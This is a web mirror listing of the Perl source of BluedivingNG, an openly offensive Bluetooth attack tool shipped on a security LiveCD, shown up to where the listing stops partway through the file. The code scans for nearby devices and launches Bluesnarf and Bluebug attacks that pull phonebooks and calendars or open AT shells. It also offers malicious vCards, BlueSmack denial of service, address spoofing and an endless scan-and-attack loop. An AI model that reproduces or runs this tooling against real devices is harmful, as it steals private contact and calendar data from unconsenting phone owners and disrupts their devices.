home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / bin / bluediving / bluedivingNG.pl < prev    next >
Perl Script  |  2006-06-15  |  33KB  |  1,419 lines

  1. #!/usr/bin/perl
  2. #
  3. # Bluediving - Hacking Bluetooth enabled devices.
  4. #
  5. # Programmed by Bastian Ballmann
  6. # Web: http://www.datenterrorist.de
  7. # Mail: Balle@chaostal.de
  8. #
  9. # First version: Mon Jan 10 10:28:26 CET 2005
  10. # NG version: Tue Jun 28 18:17:21 CEST 2005
  11. # Last update: Fri May 12 21:48:02 CEST 2006
  12. #
  13. # License: GPL version 2
  14. #
  15. # ...there is no spoon.
  16.  
  17. ###[ Loading modules ]###
  18.  
  19. use Env qw(PATH,IFS);
  20. use XML::Simple;
  21. use strict;
  22.  
  23.  
  24. ###[ Configuration ]###
  25.  
  26. die "$0 [device]\n" if $ARGV[0] eq "--help";
  27.  
  28. my %preferences;
  29. my $configfile = "bluedivingNG.conf";
  30.  
  31. my $cfg = XMLin($configfile) or die "Cannot read config file $configfile!\n$!\n";
  32.  
  33. # Device
  34. $preferences{'device'} = $cfg->{'device'};
  35. $preferences{'device'} = $ARGV[0] if defined $ARGV[0];
  36. $preferences{'device'} = "hci0" if $preferences{'device'} eq "";
  37.  
  38. # Where to keep logs?
  39. $preferences{'logdir'} = $cfg->{'logdir'};
  40.  
  41. # Main logfile
  42. $preferences{'logfile'} = $preferences{'logdir'} . $cfg->{'logfile'};
  43.  
  44. # Play sound?
  45. # 1 == yes / 0 == no
  46. $preferences{'play_sound'} = $cfg->{'play_sound'};
  47.  
  48. # Sound file
  49. $preferences{'sound_file'} = $cfg->{'sound_file'};
  50.  
  51. # My nasty vcard
  52. $preferences{'vcard'} = $cfg->{'vcard'};
  53.  
  54. # Default channel
  55. $preferences{'channel'} = $cfg->{'channel'};
  56.  
  57. # Default device name
  58. $preferences{'device_name'} = $cfg->{'device_name'};
  59.  
  60. # Default device type
  61. # Phone, Laptop
  62. $preferences{'device_type'} = $cfg->{'device_type'};
  63.  
  64. # Should the device be visible?
  65. # 0 == no / 1 == yes
  66. $preferences{'device_visibility'} = $cfg->{'device_visibility'};
  67.  
  68. # Clear environment
  69. $ENV{'PATH'} = "/usr/bin:/usr/sbin:.";
  70. $ENV{'IFS'} = "/";
  71.  
  72.  
  73.  
  74. ###[ MAIN PART ]###
  75.  
  76. # Specific device logdir
  77. my $devicedir = "";
  78.  
  79. # Remember seen devices
  80. my %seen;
  81.  
  82. # New devices found on the air
  83. my @new_devices;
  84.  
  85. # My target device
  86. my $target;
  87.  
  88. # My last menu
  89. my $last_menu;
  90.  
  91. # My last RFCOMM device
  92. my $rfcomm_device = 0;
  93.  
  94. # Dont print menu?
  95. my $no_menu = 0;
  96.  
  97. # Device type map
  98. my %device_type = ("phone" => "0x000204",
  99.            "laptop" => "0x00010c");
  100.  
  101. # Vendor map
  102. my %vendor = ("0" => "Unknown",
  103.           "1" => "Nokia",
  104.           "2" => "Ericsson",
  105.           "3" => "Motorola",
  106.           "4" => "Siemens",
  107.           "5" => "HP",
  108.           "6" => "ACER",
  109.           "7" => "Apple");
  110.  
  111. # Init program
  112. init_program();
  113.  
  114. # Print header
  115. my $muh = "BluedivingNG (BETA Version)"; 
  116. print "\n" . $muh . "\n";
  117. print "-" x length($muh) . "\n\n";
  118. print "Next generation bluetooth security tool.\n";
  119. print "Programmed by Bastian Ballmann\n";
  120.  
  121. # Go get it
  122. while(1){ print_mainmenu(); }
  123.  
  124.  
  125.  
  126. ###[ MENU SUBROUTINES ]###
  127.  
  128. # Print menu and handle user input
  129. sub print_menu
  130. {
  131.     my @menu = @_;
  132.  
  133.     print "\n". "-="x25 . "-\n";
  134.  
  135.     # Menu name
  136.     print "$menu[0]\n\n";
  137.  
  138.     # Print the menu
  139.     for(my $i=1; $i<scalar(@menu); $i++)
  140.     {
  141.     print "[$i] " . $menu[$i]->[0] . "\n";
  142.     }
  143.  
  144.     print "-="x25 . "-\n\n";
  145.  
  146.     # Get user input
  147.     print ">>> ";
  148.     my $input = <STDIN>;
  149.     chomp $input;
  150.  
  151.     # Check user input
  152.     exit_program() if(($input eq "exit") || ($input eq "quit"));
  153.     &{$last_menu} if $input eq "";
  154.     die "Go home.\n" unless $input =~ /\d/;
  155.  
  156.     if(($input > scalar(@menu)) || ($input == 0))
  157.     {
  158.     print "<<< ERROR! Undefined input.\n";
  159.     &{$last_menu};
  160.     }
  161.     else
  162.     {
  163.     # Execute the command
  164.     print "\n";
  165.     &{$menu[$input]->[1]};
  166.     }
  167. }
  168.  
  169. # Print the main menu
  170. sub print_mainmenu
  171. {
  172.     my @menu = ('[MAIN MENU]',
  173.         ['Scan', \&scan],
  174.         ['Scan and attack', \&scan_and_attack],
  175.         ['Scan and attack (endless loop)', \&loop_scan_and_attack],
  176.         ['Add Known Device', \&add_known_device],
  177.         ['Info Menu', \&print_infomenu],
  178.         ['Action Menu', \&print_actionmenu],
  179.         ['Change preferences', \&change_preferences],
  180.         ['Show preferences', \&show_preferences],
  181.         ['Show logfile', \&print_logfile],
  182.         ['Exit', \&exit_program]);
  183.  
  184.     $last_menu = \&print_mainmenu;
  185.     print_menu(@menu);
  186. }
  187.  
  188. # Print Info menu
  189. sub print_infomenu
  190. {
  191.     my @menu = ('[INFO MENU]',
  192.         ['Choose a target', \&get_a_target],
  193.         ['Get info', \&get_device_info],
  194.         ['Get services', \&get_device_services],
  195.         ['Find service', \&find_channel],
  196.         ['Get vendor', \&get_device_vendor],
  197.         ['Check connection', \&check_connection],
  198.         ['Show new devices', \&show_new_devices],
  199.         ['Show all devices', \&show_all_devices],
  200.         ['Action menu', \&print_actionmenu],
  201.         ['Main menu', \&print_mainmenu],
  202.         ['Exit', \&exit_program]);
  203.  
  204.     $last_menu = \&print_infomenu;
  205.     print_menu(@menu);
  206. }
  207.  
  208. # Print action menu
  209. sub print_actionmenu
  210. {
  211.     my @menu = ('[ACTION MENU]',
  212.         ['Choose a target', \&get_a_target],
  213.         ['Blue Snarf', \&bluesnarf],
  214.         ['Blue Snarf++', \&bluesnarf2],
  215.         ['Blue Snarf Ericsson', \&bluesnarf_ericsson],
  216.         ['Blue Bug', \&bluebug],
  217.         ['Blue Bug AT shell', \&bluebug_atshell],
  218.         ['Helo Moto', \&helomoto],
  219.         ['Blue Smack', \&bluesmack],
  220.         ['Stop Blue Smack', \&stop_bluesmack],
  221.         ['Nasty VCard', \&send_nasty_vcard],
  222.         ['Symbian Remote Restart', \&symbian_remote_restart],
  223.         ['Try all attacks', \&try_all_attacks],
  224.         ['Automatic attack', \&attack],
  225.         ['Launch redfang', \&launch_redfang],
  226.         ['Change your bluetooth address', \&change_btaddr],
  227.         ['Send soundfile', \&send_sound],
  228.         ['Scan RFCOMM channels', \&rfcomm_scan],
  229.         ['Launch RFCOMM shell', \&launch_rfcomm_shell],
  230.         ['RFCOMM Connection', \&rfcomm_connection],
  231.         ['HCI Connection', \&hci_connection],
  232.         ['Request new link key', \&request_paiting],
  233.         ['Info menu', \&print_infomenu],
  234.         ['Main menu', \&print_mainmenu],
  235.         ['Exit', \&exit_program]);
  236.  
  237.     $last_menu = \&print_actionmenu;
  238.     print_menu(@menu);
  239. }
  240.  
  241. # Choose a target from the new devices list
  242. sub get_a_target
  243. {
  244.     my @devices;
  245.  
  246.     if (!%seen) {
  247.         print "No devices found yet!\n";
  248.         print_mainmenu();
  249.         return;
  250.     }
  251.  
  252.     print "Want to see all devices? <y/N>: ";
  253.     my $input = <STDIN>;
  254.     chomp $input;
  255.  
  256.     if($input eq "y")
  257.     {
  258.     my $i = 1;
  259.  
  260.     while(my($key,$value) = each %seen)
  261.     {
  262.         push @devices, $key;
  263.         print "[$i] $key $value\n";
  264.         $i++;
  265.     }
  266.     }
  267.     else
  268.     {
  269.     show_new_devices();
  270.     @devices = @new_devices;
  271.     }
  272.  
  273.     # Get user input
  274.     print ">>> ";
  275.     $input = <STDIN>;
  276.     chomp $input;
  277.  
  278.     # Check user input
  279.     exit_program() if(($input eq "exit") || ($input eq "quit"));
  280.     die "Go home.\n" unless $input =~ /\d/;
  281.  
  282.     if(($input > scalar(@devices)) || ($input == 0))
  283.     {
  284.     print "<<< ERROR! Undefined input.\n";
  285.     print_mainmenu();
  286.     }
  287.  
  288.     $target = $devices[$input];    
  289.     &{$last_menu} unless $no_menu;
  290. }
  291.  
  292. # Find the channel for a service
  293. sub find_channel
  294. {
  295.     if($target eq "")
  296.     {
  297.     print "<<< I need a target!\n";
  298.     $no_menu = 1;
  299.     get_a_target();
  300.     $no_menu = 0;
  301.     }
  302.  
  303.     print "Service: ";
  304.     my $input = <STDIN>;
  305.     chomp($input);
  306.  
  307.     die "Go home.\n" unless $input =~ /^\w+/;
  308.     my $channel = get_channel($target, $input);
  309.  
  310.     if($channel == 0)
  311.     {
  312.     print "Can't find service $input\n";
  313.     }
  314.     else
  315.     {
  316.     print "Service $input is on channel $channel.\n";
  317.     }
  318.  
  319.     &{$last_menu} unless $no_menu;
  320. }
  321.  
  322. # Try browse SDP to get the channel for a service
  323. # Parameter: addr, service
  324. # Return: channelnr
  325. sub get_channel
  326. {
  327.     my ($addr,$service) = @_;
  328.     my $flag = 0;
  329.     my $channel = 0;
  330.  
  331.     return unless (defined $addr) && (defined $service);
  332.  
  333.     open(SDP,"$cfg->{'sdptool'} browse $target |") or die $!;
  334.  
  335.     while(<SDP>)
  336.     {
  337.     $flag = 1 if($_ =~ /Service name: $service/ig);    
  338.     if(($flag == 1) && ($_ =~ /Channel: (\d+)/))
  339.     {
  340.         $channel = $1;
  341.         last;
  342.     }
  343.     }
  344.  
  345.     close(SDP);
  346.     return $channel;
  347. }
  348.  
  349. # Ask the user to change the default channel
  350. sub ask_channel
  351. {
  352.     print "Default channel is $preferences{'channel'}\n";
  353.     print "Want to change it? (y/N): ";
  354.     
  355.     my $input = <STDIN>;
  356.     chomp $input;
  357.     
  358.     if($input eq "y")
  359.     {
  360.     print "Tell me the channel number: ";
  361.     
  362.     $input = <STDIN>;
  363.     chomp $input;
  364.     
  365.     die "Go home." unless $input =~ /\d{1,2}/;
  366.     $preferences{'channel'} = $input;
  367.     }
  368. }
  369.  
  370.  
  371.  
  372. ###[ NORMAL SUBROUTINES ]###
  373.  
  374. # Scan for new devices
  375. sub scan
  376. {
  377.     @new_devices = ();
  378.     my ($host,$addr);
  379.  
  380.     # Scan for new devices
  381.     print "<<< Start scanning for bluetooth devices...\n";
  382.     open(HCI,"$cfg->{'hcitool'} -i $preferences{'device'} scan|") or die "$!\n";
  383.     
  384.     while(<HCI>)
  385.     {
  386.     my @tmp = split(/\s/,$_); 
  387.  
  388.     for(@tmp)
  389.     {
  390.         next if $_ =~ /Scanning/;
  391.  
  392.         if($_ =~ /\w\w\:\w\w\:\w\w\:\w\w\:\w\w\:\w\w/)
  393.         {
  394.         $addr = $_;
  395.         }
  396.         elsif($_ =~ /\w+$/)
  397.         {
  398.         $host = $_;
  399.         }
  400.     }
  401.     
  402.     # Found a new device
  403.     if( ($host ne "") && ($addr ne "") && ($seen{$addr} eq "") )
  404.     {
  405.         print "<<< " . localtime(time) . " Found host $host addr $addr\n";
  406.         print LOG localtime(time) . " Found host $host addr $addr\n";
  407.         $seen{$addr} = $host;
  408.         
  409.         $devicedir = $preferences{'logdir'} . $addr;
  410.         unlink($devicedir) if -e $devicedir;
  411.         mkdir($devicedir);
  412.         
  413.         # Play sound?
  414.         system("$cfg->{'play'} $preferences{'sound_file'} > /dev/null 2> /dev/null") if $preferences{'play_sound'};
  415.         
  416.         push @new_devices,$addr;
  417.     }
  418.     }
  419.  
  420.     close(HCI);
  421.  
  422.     if(scalar(@new_devices) == 0)
  423.     {
  424.     print "<<< Found no devices.\n";
  425.     }
  426.     else
  427.     {
  428.     $target = $new_devices[0];
  429.     }
  430. }
  431.  
  432. # rather than scanning, add an existing (known) address
  433. sub add_known_device {
  434.     print "<<< Manually add a known bluetooth device...\n";
  435.  
  436.     print "Enter device address: ";
  437.     my $addr = <STDIN>;
  438.     chomp $addr;
  439.  
  440.     if($addr !~ /\w\w\:\w\w\:\w\w\:\w\w\:\w\w\:\w\w/) {
  441.         print "Invalid address format!\n";
  442.         return;
  443.     }
  444.  
  445.     print "Enter a nickname for this device: ";
  446.     my $host= <STDIN>;
  447.     chomp $host;
  448.  
  449.     $seen{$addr} = $host;
  450.     push @new_devices,$addr;
  451.     $target = $new_devices[0];
  452.         
  453.     $devicedir = $preferences{'logdir'} . $addr;
  454.     unlink($devicedir) if -e $devicedir;
  455.     mkdir($devicedir);
  456.  
  457.     print "Device $host ($addr) registered.\n";
  458. }
  459.  
  460. # Show new devices
  461. sub show_new_devices
  462. {
  463.     if(scalar(@new_devices) > 0)
  464.     {
  465.     for(my $i=1; $i<scalar(@new_devices); $i++)
  466.     {
  467.         print "[$i] $new_devices[$i] $seen{$new_devices[$i]}\n";
  468.     }
  469.     }
  470.     else
  471.     {
  472.     print "<<< There are no new devices.\n";
  473.     }
  474. }
  475.  
  476. # Show all devices
  477. sub show_all_devices
  478. {
  479.     my $flag = 1;
  480.     
  481.     while(my($key,$value) = each %seen)
  482.     {
  483.     print "[$flag] $key\n";
  484.     $flag++;
  485.     }
  486.  
  487.     print "<<< No devices at all...\n" if $flag == 1;
  488. }
  489.  
  490. # Scan RFCOMM channels
  491. sub rfcomm_scan
  492. {
  493.     my $start = 1;
  494.     my $end = 20;
  495.  
  496.     if($target eq "")
  497.     {
  498.     print "<<< I need a target.\n";
  499.     $no_menu = 1;
  500.     get_a_target();
  501.     $no_menu = 0;
  502.     }
  503.  
  504.     print "From ($start): ";
  505.     my $input = <STDIN>;
  506.     chomp $input;
  507.     
  508.     if($input ne "")
  509.     {        
  510.     die "Go home." unless $input =~ /^\d+$/;
  511.     $start = $input;
  512.     }
  513.     
  514.     print "To ($end): ";
  515.     $input = <STDIN>;
  516.     chomp $input;
  517.     
  518.     if($input ne "")
  519.     {        
  520.     die "Go home." unless $input =~ /^\d+$/;
  521.     $end = $input;
  522.     }
  523.     
  524.     print "Start scanning $target from $start to $end\n";
  525.     
  526.     for(my $i=$start; $i<=$end; $i++)
  527.     {
  528.     print "Trying to connect to channel $i\n";
  529.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $i");
  530.     $rfcomm_device++;        
  531.     }
  532.     
  533.     system("$cfg->{'rfcomm'} -i $preferences{'device'} release all");
  534.     $rfcomm_device = 0;
  535.  
  536.     &{$last_menu} unless $no_menu;
  537. }
  538.  
  539. # Launch RFCOMM shell
  540. sub launch_rfcomm_shell
  541. {
  542.     if($target eq "")
  543.     {
  544.     print "<<< I need a target.\n";
  545.     $no_menu = 1;
  546.     get_a_target();
  547.     $no_menu = 0;
  548.     }
  549.     
  550.     ask_channel();
  551.     print "<<< Trying to connect to RFCOMM channel $preferences{'channel'} on $target\n";
  552.     system("$cfg->{'rfcomm_shell'} $target $preferences{'channel'}");
  553. }
  554.  
  555. # Make a RFCOMM connection
  556. sub rfcomm_connection
  557. {
  558.     if($target eq "")
  559.     {
  560.     print "<<< I need a target.\n";
  561.     $no_menu = 1;
  562.     get_a_target();
  563.     $no_menu = 0;
  564.     }
  565.  
  566.     ask_channel();
  567.     print "Shall I [c]onnect or [b]ind? (default connect): ";
  568.     
  569.     my $input = <STDIN>;
  570.     chomp $input;
  571.     
  572.     if(($input eq "bind") || ($input eq "b"))
  573.     {
  574.     print "<<< Trying to bind to $target:$preferences{'channel'} on rfcomm device $rfcomm_device";
  575.     system("$cfg->{'rfcomm'} -i $preferences{'device'} bind $rfcomm_device $target $preferences{'channel'}");
  576.     }
  577.     elsif(($input eq "connect") || ($input eq "c") || ($input eq ""))
  578.     {
  579.     print "<<< Trying to connect to $target:$preferences{'channel'} on rfcomm device $rfcomm_device";
  580.     system("$cfg->{'rfcomm'} -i $preferences{'device'} connect $rfcomm_device $target $preferences{'channel'}");
  581.     }
  582.     else
  583.     {
  584.     die("Go home.");
  585.     }
  586.  
  587.     $rfcomm_device++;
  588.     &{$last_menu} unless $no_menu;
  589. }
  590.  
  591. # Make a HCI connection
  592. sub hci_connection
  593. {
  594.     if($target eq "")
  595.     {
  596.     print "<<< I need a target.\n";
  597.     $no_menu = 1;
  598.     get_a_target();
  599.     $no_menu = 0;
  600.     }
  601.  
  602.     print "<<< Trying a HCI connection to $target\n";
  603.     system("$cfg->{'hcitool'} -i $cfg->{'device'} cc $target");
  604.     &{$last_menu} unless $no_menu;
  605. }
  606.  
  607. # Request new pairing process
  608. sub request_pairing
  609. {
  610.     if($target eq "")
  611.     {
  612.     print "<<< I need a target.\n";
  613.     get_a_target();
  614.     }
  615.  
  616.     print "<<< Requesting new link key to $target\n";
  617.     system("$cfg->{'hcitool'} -i $cfg->{'device'} key $target");
  618.     &{$last_menu} unless $no_menu;
  619. }
  620.  
  621. # Change your bluetooth address
  622. sub change_btaddr
  623. {
  624.     print "NOTE! This is currently only implemented for CSR, Ericsson and Zeevo chipsets.\n";
  625.     print "SAVE YOUR OLD ADDRESS TO RESTORE IT!\n";
  626.     print "Press ENTER to abort or give me the new address\n";
  627.     print ">>> ";
  628.     
  629.     my $input = <STDIN>;
  630.     chomp $input;
  631.     
  632.     &{$last_menu} if $input eq "";
  633.     die "Go home.\n" unless $input =~ /^[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}\:[0-9A-F]{2,2}$/i;
  634.  
  635.  
  636.     # Set new address
  637.     print "<<< Changing address to $input.\n";
  638.     system("$cfg->{'change_btaddr'} $preferences{'device'} $input");
  639.  
  640.     # Reset the device
  641.     print "<<< Resetting device (maybe you have to unplug, plug in and up it)\n";
  642.     system("$cfg->{'hciconfig'} $preferences{'device'} down");
  643.     system("$cfg->{'hciconfig'} $preferences{'device'} up");    
  644.     system("$cfg->{'hciconfig'} $preferences{'device'}");
  645.     &{$last_menu};
  646. }
  647.  
  648. # Send a sound file to the audio gateway
  649. sub send_sound
  650. {
  651.     my $file;
  652.  
  653.     if($target eq "")
  654.     {
  655.     print "<<< I need a target.\n";
  656.     $no_menu = 1;
  657.     get_a_target();
  658.     $no_menu = 0;
  659.     }
  660.  
  661.     print "Which soundfile shall I use?\n";
  662.     print "This? $preferences{'sound_file'} <Y/n>: ";
  663.     
  664.     my $input = <STDIN>;
  665.     chomp $input;
  666.     
  667.     if($input eq "n")
  668.     {
  669.     print "Give me the absolute filename!\n";
  670.     print ">>> ";
  671.     
  672.     $file = <STDIN>;
  673.     chomp $file;
  674.     
  675.     die "Go home." unless $file =~ /[a-zA-Z\/\.]/g;
  676.     }
  677.     else
  678.     {
  679.     $file = $preferences{'sound_file'};
  680.     }
  681.     
  682.     $preferences{'channel'} = get_channel($target,"Voice Gateway");
  683.     ask_channel() if $preferences{'channel'} == 0;
  684.     
  685.     print "Sending $file to $target:$preferences{'channel'}\n";
  686.     system("$cfg->{'mpg123'} -q -s '$file' | $cfg->{'sox'} -t raw -r 44100 -c 2 -s -w - -t raw -r 8000 -c 1 -s -w - | $cfg->{'hstest'} play - $target $preferences{'channel'}");
  687.  
  688.     &{$last_menu} unless $no_menu;
  689. }
  690.  
  691.  
  692. ###[ ATTACK SUBROUTINES ]###
  693.  
  694. # Scan and attack
  695. sub scan_and_attack
  696. {
  697.     scan();
  698.     attack();
  699.     &{$last_menu};
  700. }
  701.  
  702. # Scan and attack in an endless loop
  703. sub loop_scan_and_attack 
  704.     $no_menu = 1;
  705.  
  706.     while(1) 
  707.     { 
  708.     scan();
  709.     attack(); 
  710.     sleep 1;
  711.     } 
  712. }
  713.  
  714. # Attack new devices
  715. sub attack
  716. {
  717.     for(@new_devices)
  718.     {
  719.     my $id = get_device_vendor($_);
  720.     $target = $_;
  721.  
  722.     # Nokia
  723.     if($vendor{$id} eq "Nokia")
  724.     {
  725.         bluesnarf();
  726.     }
  727.  
  728.     # Ericsson
  729.     elsif($vendor{$id} eq "Ericsson")
  730.     {
  731.         bluesnarf_ericsson();
  732.     }
  733.  
  734.     # Motorola
  735.     elsif($vendor{$id} eq "Motorola")
  736.     {
  737.         bluebug();
  738.     }
  739.  
  740.     # Another vendor
  741.     else
  742.     {
  743.         send_nasty_vcard();
  744. #        bluesmack();
  745.     }
  746.     }
  747. }
  748.  
  749. # Launch Redfang
  750. sub launch_redfang
  751. {
  752.     system("$cfg->{'redfang'} hunt 1");
  753. }
  754.  
  755.  
  756. ###[ INFO SUBROUTINES ]###
  757.  
  758. # Get available infos
  759. sub get_device_info
  760. {
  761.     $devicedir = $preferences{'logdir'} . $target;
  762.     
  763.     if($target eq "")
  764.     {
  765.     print "<<< I need a target.\n";
  766.     $no_menu = 1;
  767.     get_a_target();
  768.     $no_menu = 0;
  769.     }
  770.     die "FATAL! $devicedir/info is a symbolic link!\n" if -l ("$devicedir/info");
  771.     open(INFO,"$cfg->{'hcitool'} -i $cfg->{'device'} info $target > $devicedir/info |");
  772.     my @info = <INFO>;
  773.     close(INFO);
  774.  
  775.     if(scalar(@info) == 0)
  776.     {
  777.         print "<<< No info available for $target\n";
  778.     }
  779.     else
  780.     {
  781.         map { print; } @info;
  782.     }
  783.  
  784.     &{$last_menu};
  785. }
  786.  
  787. # Get available services
  788. sub get_device_services
  789. {
  790.     $devicedir = $preferences{'logdir'} . $target;
  791.     
  792.     if($target eq "")
  793.     {
  794.     print "<<< I need a target.\n";
  795.     $no_menu = 1;
  796.     get_a_target();
  797.     $no_menu = 0;
  798.     }
  799.  
  800.     die "FATAL! $devicedir/services is a symbolic link!\n" if -l ("$devicedir/services");
  801.     open(SDP,"$cfg->{'sdptool'} browse $target > $devicedir/services |");
  802.     my @sdp = <SDP>;
  803.     close(SDP);
  804.  
  805.     if(scalar(@sdp) == 0)
  806.     {
  807.         print "<<< Target $target seems to have no running sdp daemon.\n";
  808.     }
  809.     else
  810.     {
  811.         map { print; } @sdp;
  812.     }
  813.  
  814.     &{$last_menu};
  815. }
  816.  
  817. # Detect device vendor
  818. # 0 -> Unkown
  819. # 1 -> Nokia
  820. # 2 -> Ericsson
  821. # 3 -> Motorola
  822. # 4 -> Siemens
  823. # 5 -> HP
  824. # 6 -> Acer
  825. # 7 -> Apple
  826. sub get_device_vendor
  827. {
  828.     my $code = 0;
  829.  
  830.     # Is it a mobile phone? Which one? Check first three byte of address!
  831.     # Try to retrieve data from the phone!
  832.     if (($target =~ /^00:60:57/) || ($target =~ /^00:02:EE/) || ($target =~ /^00:0E:ED/) || ($target =~ /^00:11:9F/) || ($target =~ /^00:60:57/))
  833.     {
  834.     print "<<< " . localtime(time) . " $target is a Nokia mobile phone.\n";
  835.     print LOG localtime(time) . " $target is a Nokia mobile phone.\n";
  836.     $code = 1;
  837.     }
  838.     
  839.     elsif (($target =~ /^00:01:EC/) || ($target =~ /^00:0A:D9/) || ($target =~ /^00:0E:07/))
  840.     {
  841.     print "<<< " . localtime(time) . " $target is an Ericsson mobile phone.\n";
  842.     print LOG localtime(time) . " $target is an Ericsson mobile phone.\n";
  843.     $code = 2;
  844.     }
  845.     
  846.     elsif (($target =~ /^C6:F7:4A/) || ($target =~ /^00:0A:28/))
  847.     {
  848.     print "<<< " . localtime(time) . " $target is a Motorola mobile phone.\n";
  849.     print LOG localtime(time) . " $target is a Motorola mobile phone.\n";
  850.     $code = 3;
  851.     }
  852.     
  853.     elsif (($target =~ /^00:01:E3/) || ($target =~ /^01:90:71/))
  854.     {
  855.     print "<<< " . localtime(time) . " $target is a Siemens mobile phone.\n";
  856.     print LOG localtime(time) . " $target is a Siemens mobile phone.\n";
  857.     $code = 4;
  858.     }
  859.  
  860.     elsif($target =~ /^08:00:28/)
  861.     {
  862.     print "<<< " . localtime(time) . " $target is a HP iPAQ.\n";
  863.     print LOG localtime(time) . " $target is a HP iPAQ.\n";
  864.     $code = 5;
  865.     }
  866.  
  867.     elsif($target =~ /^00:02:78/)
  868.     {
  869.     print "<<< " . localtime(time) . " $target is an ACER device.\n";
  870.     print LOG localtime(time) . " $target is an ACER device.\n";
  871.     $code = 6;
  872.     }
  873.  
  874.     elsif($target =~ /^00:0A:95/)
  875.     {
  876.     print "<<< " . localtime(time) . " $target is an Apple device.\n";
  877.     print LOG localtime(time) . " $target is an Apple device.\n";
  878.     $code = 7;
  879.     }
  880.  
  881.     else
  882.     {
  883.     print "<<< " . localtime(time) . " $target is from an unkown vendor.\n";
  884.     print LOG localtime(time) . " $target is from an unkown vendor.\n";
  885.     }
  886.  
  887.     &{$last_menu};
  888.     return $code;
  889. }
  890.  
  891. # Check the connection with a single l2cap packet
  892. sub check_connection
  893. {
  894.     $devicedir = $preferences{'logdir'} . $target;
  895.     
  896.     if($target eq "")
  897.     {
  898.     print "<<< I need a target.\n";
  899.     $no_menu = 1;
  900.     get_a_target();
  901.     $no_menu = 0;
  902.     }
  903.  
  904.     print "<<< Checking connection of $target\n";
  905.     open(L2PING,"$cfg->{'l2ping'} -c 1 $target |");
  906.     while(<L2PING>){ print; }
  907.     close(L2PING);
  908.     &{$last_menu};
  909. }
  910.  
  911. # Get local device name
  912. sub get_device_name
  913. {
  914.     my $name = "unkown";
  915.  
  916.     open(HCI,"$cfg->{'hciconfig'} $preferences{'device'} name |") or die $!;
  917.  
  918.     while(<HCI>)
  919.     {
  920.     $name = $1 if $_ =~ /Name: \'(.*)\'/i;
  921.     }
  922.  
  923.     close(HCI);
  924.     return $name;
  925. }
  926.  
  927. # Set local device name
  928. sub set_device_name
  929. {
  930.     my $name = shift;
  931.     
  932.     if($name eq "")
  933.     {
  934.     print "<<< I need a device name to set!\n";
  935.     }
  936.     else
  937.     {
  938.     print "<<< Setting device name to $name\n";
  939.     system("$cfg->{'hciconfig'} $preferences{'device'} name '$name'");
  940.     }
  941. }
  942.  
  943. # Set device type
  944. sub set_device_type
  945. {
  946.     my $name = shift;
  947.     my $hex = $device_type{lc($name)};
  948.  
  949.     if($hex eq "")
  950.     {
  951.     print "<<< Unsupported device type\n";
  952.     }
  953.     else
  954.     {
  955.     print "<<< Setting device type to $name\n";
  956.     system("$cfg->{'hciconfig'} $preferences{'device'} class $hex");
  957.     }
  958. }
  959.  
  960. # Set device visibility
  961. sub set_device_visibility
  962. {
  963.     # Unvisible
  964.     if($preferences{'device_visibility'} == 0)
  965.     {
  966.     print "<<< Setting device to non-visible mode\n";
  967.     system("$cfg->{'hciconfig'} $preferences{'device'} noscan");
  968.     }
  969.     
  970.     # Visible
  971.     elsif($preferences{'device_visibility'} == 1)
  972.     {
  973.     print "<<< Setting device to visible mode\n";
  974.     system("$cfg->{'hciconfig'} $preferences{'device'} piscan");
  975.     }
  976. }
  977.  
  978.  
  979. ###[ EXPLOIT STUFF ]###
  980.  
  981. # Blue Snarf attack
  982. sub bluesnarf
  983. {
  984.     $devicedir = $preferences{'logdir'} . $target;
  985.     
  986.     if($target eq "")
  987.     {
  988.     print "<<< I need a target.\n";
  989.     $no_menu = 1;
  990.     get_a_target();
  991.     $no_menu = 0;
  992.     }
  993.  
  994.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  995.     ask_channel() if ($preferences{'channel'} == 0) || ($preferences{'channel'} eq "");
  996.     
  997.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
  998.     unlink("$devicedir/calendar") if -e ("$devicedir/calendar");
  999.     
  1000.     print "<<< Bluesnarfing $target.\n";
  1001.     system("$cfg->{'btobex'} pb $target $preferences{'channel'} > $devicedir/phonebook");
  1002.     system("$cfg->{'btobex'} cal $target $preferences{'channel'} > $devicedir/calendar");
  1003.     
  1004.     die "FATAL! $devicedir/phonebook is a symbolic link!\n" if -l ("$devicedir/phonebook");
  1005.     open(IN,"<$devicedir/phonebook");
  1006.     my @input = <IN>;
  1007.     close(IN);
  1008.     
  1009.     if(scalar(@input) == 0)
  1010.     {
  1011.     print "<<< No phonebook received.\n";
  1012.     }
  1013.     else
  1014.     {
  1015.     map{print;}@input;
  1016.     }
  1017.     
  1018.     die "FATAL! $devicedir/calendar is a symbolic link!\n" if -l ("$devicedir/calendar");
  1019.     open(IN,"<$devicedir/calendar");
  1020.     my @input = <IN>;
  1021.     close(IN);
  1022.     
  1023.     if(scalar(@input) == 0)
  1024.     {
  1025.     print "<<< No calendar received.\n";
  1026.     }
  1027.     else
  1028.     {
  1029.     map{print;}@input;
  1030.     }
  1031.  
  1032.     &{$last_menu} unless $no_menu;
  1033. }
  1034.  
  1035. # Blue Snarf++
  1036. sub bluesnarf2
  1037. {
  1038.     $devicedir = $preferences{'logdir'} . $target;
  1039.     $preferences{'channel'} = 10;
  1040.     
  1041.     if($target eq "")
  1042.     {
  1043.     print "<<< I need a target.\n";
  1044.     $no_menu = 1;
  1045.     get_a_target();
  1046.     $no_menu = 0;
  1047.     }
  1048.  
  1049.     $preferences{'channel'} = get_channel($target,"OBEX Object Push");
  1050.     ask_channel() if $preferences{'channel'} == 0;
  1051.     print "<<< Launching BlueSnarf++ on $target:$preferences{'channel'}\n";
  1052.     system("$cfg->{'btftp'} $target $preferences{'channel'}");
  1053.     &{$last_menu} unless $no_menu;
  1054. }
  1055.  
  1056. # Blue Bug
  1057. sub bluebug
  1058. {
  1059.     $devicedir = $preferences{'logdir'} . $target;
  1060.     
  1061.     if($target eq "")
  1062.     {
  1063.     print "<<< I need a target.\n";
  1064.     $no_menu = 1;
  1065.     get_a_target();
  1066.     $no_menu = 0;
  1067.     }
  1068.  
  1069.     ask_channel();
  1070.     unlink("$devicedir/phonebook") if -e ("$devicedir/phonebook");
